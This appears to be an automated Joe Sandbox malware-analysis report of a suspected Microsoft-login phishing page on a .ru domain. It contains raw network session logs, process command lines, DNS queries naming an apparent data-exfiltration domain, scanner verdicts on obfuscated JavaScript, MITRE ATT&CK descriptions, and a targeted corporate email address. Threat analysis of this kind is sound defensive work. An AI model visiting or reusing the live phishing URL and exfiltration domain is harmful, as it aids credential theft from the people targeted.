2024-12-11 18:23:29 UTC	354	IN	Data Raw: 66 35 62 63 62 34 35 32 61 33 64 33 63 66 66 30 62 61 30 35 63 32 33 37 38 38 63 38 65 32 34 66 35 37 30 39 39 37 32 31 35 35 65 31 63 33 37 66 31 62 64 32 35 35 38 32 38 35 31 37 61 63 64 66 66 64 33 37 62 31 35 33 61 62 64 33 33 39 30 62 32 34 39 34 39 61 30 35 37 61 31 37 36 35 35 65 34 39 34 31 65 66 38 33 62 61 33 64 36 36 30 62 38 66 65 62 32 37 32 33 63 61 39 38 38 66 37 62 30 34 65 64 63 61 33 36 62 36 39 32 39 32 39 35 31 38 66 31 30 66 64 32 36 31 64 30 65 39 36 66 66 35 32 64 66 62 35 32 34 34 35 38 31 62 36 37 62 34 31 37 62 32 39 30 61 39 32 30 61 62 38 37 37 38 35 38 61 63 66 30 36 64 37 34 62 65 35 63 38 39 35 61 32 65 37 33 65 35 64 65 64 33 35 66 64 36 36 31 63 30 31 61 34 37 36 61 63 39 32 37 33 65 32 62 36 39 64 66 65 35 33 62 38 36 39 Data Ascii: f5bcb452a3d3cff0ba05c23788c8e24f5709972155e1c37f1bd255828517acdffd37b153abd3390b24949a057a17655e4941ef83ba3d660b8feb2723ca988f7b04edca36b692929518f10fd261d0e96ff52dfb5244581b67b417b290a920ab877858acf06d74be5c895a2e73e5ded35fd661c01a476ac9273e2b69dfe53b869

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	50048	152.199.21.175	443	4500	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 18:23:30 UTC	601	OUT	GET /images/favicon.ico?v=2 HTTP/1.1 Host: acctcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://signup.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 18:23:30 UTC	625	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Accept-Ranges,Cache-Control,Content-Length,Content-MD5,Content-Type,Date,ETag,Last-Modified,Server,x-ms-request-id,x-ms-version Age: 506534 Cache-Control: public, max-age=604800 Content-MD5: EuPayFgGHQiAI7K9SOL6lg== Content-Type: image/x-icon Date: Wed, 11 Dec 2024 18:23:30 GMT Etag: "0x8DD156C94336EFC" Last-Modified: Thu, 05 Dec 2024 20:37:04 GMT Server: ECAcc (lhc/78AE) X-Cache: HIT x-ms-request-id: d48223b9-201e-00d2-465e-470289000000 x-ms-version: 2018-03-28 Content-Length: 17174 Connection: close
2024-12-11 18:23:30 UTC	16383	IN	Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
2024-12-11 18:23:30 UTC	791	IN	Data Raw: 01 80 00 00 01 80 00 28 00 00 00 18 00 00 00 30 00 00 00 01 00 04 00 00 00 00 00 80 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 Data Ascii: (0"P""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.5	50050	35.190.10.96	443

Timestamp	Bytes transferred	Direction	Data
2024-12-11 18:23:30 UTC	369	OUT	GET /api/v2/msft HTTP/1.1 Host: collector-pxzc5j78di.hsprotect.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 18:23:30 UTC	284	IN	HTTP/1.1 405 Method Not Allowed Date: Wed, 11 Dec 2024 18:23:29 GMT Content-Type: application/json; charset=utf-8 Content-Length: 31 Allow: POST, HEAD, OPTIONS Timing-Allow-Origin: * Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-11 18:23:30 UTC	31	IN	Data Raw: 7b 22 65 72 72 6f 72 22 3a 22 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 22 7d 0a Data Ascii: {"error":"Method Not Allowed"}

Target ID:	0
Start time:	13:21:59
Start date:	11/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	13:22:02
Start date:	11/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1812 --field-trial-handle=2024,i,11499263350525860480,3344965583219318867,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	13:22:08
Start date:	11/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://18QDy4sM2G.lomidore.ru/baSDU4o/#Daccounting@harborwholesale.com"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Source: 0.2.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://18qdy4sm2g.lomidore.ru/baSDU4o/#Daccountin... The script sends data to an untrusted domain (ezmbsgzm.ru) and uses obfuscated URLs, indicating potential data exfiltration and malicious intent. It also redirects to a legitimate domain (office.com) under suspicious conditions, suggesting phishing behavior. These factors contribute to a high-risk score.
Source: 0.0.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://18qdy4sm2g.lomidore.ru/baSDU4o/#Daccountin... The script contains obfuscated code using base64 encoding, which is a high-risk indicator (+3 points). It also includes aggressive DOM manipulation and event listeners that prevent default actions, which are moderate-risk indicators (+2 points). The script loads external scripts from multiple domains, which could be considered moderate-risk if not transparent (+2 points). The overall behavior suggests potential malicious intent, but without specific evidence of data exfiltration or redirection to malicious domains, the score is capped at 7.

Source: https://www.office.com/	HTTP Parser: Iframe src: https://login.live.com/Me.srf?wa=wsignin1.0&wreply=https://www.office.com/
Source: https://www.office.com/	HTTP Parser: Iframe src: https://login.microsoftonline.com/savedusers?wreply=https://www.office.com/&appid=4345a7b9-9a63-4910-a426-35363201d503

Source: https://18qdy4sm2g.lomidore.ru/baSDU4o/#Daccounting@harborwholesale.com	HTTP Parser: No favicon
Source: https://www.office.com/	HTTP Parser: No favicon
Source: https://signup.live.com/signup?mkt=en-US&uiflavor=web&lw=1&fl=easi2&client_id=4345a7b9-9a63-4910-a426-35363201d503&wreply=https%3a%2f%2fwww.office.com%2f%3fauth%3d1%26from%3dOdotComFreeSignup&lic=1&uaid=d998a0ce24aa4721bfd029fd7f160c70	HTTP Parser: No favicon
Source: https://signup.live.com/signup?mkt=en-US&uiflavor=web&lw=1&fl=easi2&client_id=4345a7b9-9a63-4910-a426-35363201d503&wreply=https%3a%2f%2fwww.office.com%2f%3fauth%3d1%26from%3dOdotComFreeSignup&lic=1&uaid=d998a0ce24aa4721bfd029fd7f160c70	HTTP Parser: No favicon

Source: https://www.office.com/	HTTP Parser: No <meta name="author".. found
Source: https://www.office.com/	HTTP Parser: No <meta name="author".. found
Source: https://www.office.com/	HTTP Parser: No <meta name="author".. found

Source: https://www.office.com/	HTTP Parser: No <meta name="copyright".. found
Source: https://www.office.com/	HTTP Parser: No <meta name="copyright".. found
Source: https://www.office.com/	HTTP Parser: No <meta name="copyright".. found

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: 18qdy4sm2g.lomidore.ru
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: o3hqggd31yjdse7eyaddwl8ujyzpezhvxa06xj60zhhmybhlmti0jv.ezmbsgzm.ru
Source: global traffic	DNS traffic detected: DNS query: www.office.com
Source: global traffic	DNS traffic detected: DNS query: portal.office.com
Source: global traffic	DNS traffic detected: DNS query: outlook.office.com
Source: global traffic	DNS traffic detected: DNS query: login.microsoftonline.com
Source: global traffic	DNS traffic detected: DNS query: substrate.office.com
Source: global traffic	DNS traffic detected: DNS query: mem.gfx.ms
Source: global traffic	DNS traffic detected: DNS query: logincdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: acctcdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: signup.live.com
Source: global traffic	DNS traffic detected: DNS query: fpt.live.com
Source: global traffic	DNS traffic detected: DNS query: msft.hsprotect.net
Source: global traffic	DNS traffic detected: DNS query: m365cdn.nel.measure.office.net
Source: global traffic	DNS traffic detected: DNS query: client.hsprotect.net
Source: global traffic	DNS traffic detected: DNS query: collector-pxzc5j78di.hsprotect.net
Source: global traffic	DNS traffic detected: DNS query: stk.hsprotect.net

Description:	Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring Application Access Token .
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Process: Process Creation
Platforms:	Linux, macOS, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://18QDy4sM2G.lomidore.ru/baSDU4o/#Daccounting@harborwholesale.com

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Networking

System Summary

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 153

Chrome Cache Entry: 154

Chrome Cache Entry: 155

Chrome Cache Entry: 156

Chrome Cache Entry: 157

Chrome Cache Entry: 158

Chrome Cache Entry: 159

Chrome Cache Entry: 160

Chrome Cache Entry: 161

Chrome Cache Entry: 162

Chrome Cache Entry: 163

Chrome Cache Entry: 164

Chrome Cache Entry: 165

Chrome Cache Entry: 166

Chrome Cache Entry: 167

Chrome Cache Entry: 168

Chrome Cache Entry: 169

Chrome Cache Entry: 170

Chrome Cache Entry: 171

Chrome Cache Entry: 172

Chrome Cache Entry: 173

Windows Analysis Report
https://18QDy4sM2G.lomidore.ru/baSDU4o/#Daccounting@harborwholesale.com